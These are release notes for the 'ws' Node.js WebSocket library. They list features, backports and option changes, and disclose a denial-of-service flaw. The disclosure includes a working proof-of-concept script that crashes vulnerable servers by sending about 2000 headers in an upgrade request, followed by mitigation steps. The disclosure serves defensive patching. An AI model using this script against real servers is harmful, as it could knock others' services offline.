Features

• Added support for Blob (#2229).

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   --max-http-header-size=size and/or the maxHeaderSize options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Bug fixes

• Backported e55e510 to the 7.x release line (22c2876).

Bug fixes

• Backported e55e510 to the 6.x release line (eeb76d3).

Bug fixes

• Backported e55e510 to the 5.x release line (4abd8f6).

Features

• The WebSocket constructor now accepts the createConnection option (#2219).

Other notable changes

• The default value of the allowSynchronousEvents option has been changed to
  true (#2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

Features

• Added the autoPong option (01ba54e).

Notable changes

• The allowMultipleEventsPerMicrotask option has been renamed to
  allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

Features

• Added the allowMultipleEventsPerMicrotask option (93e3552).

Bug fixes

• Fixed an issue that allowed errors thrown by failed assertions to be
  swallowed when running tests (7f4e1a7).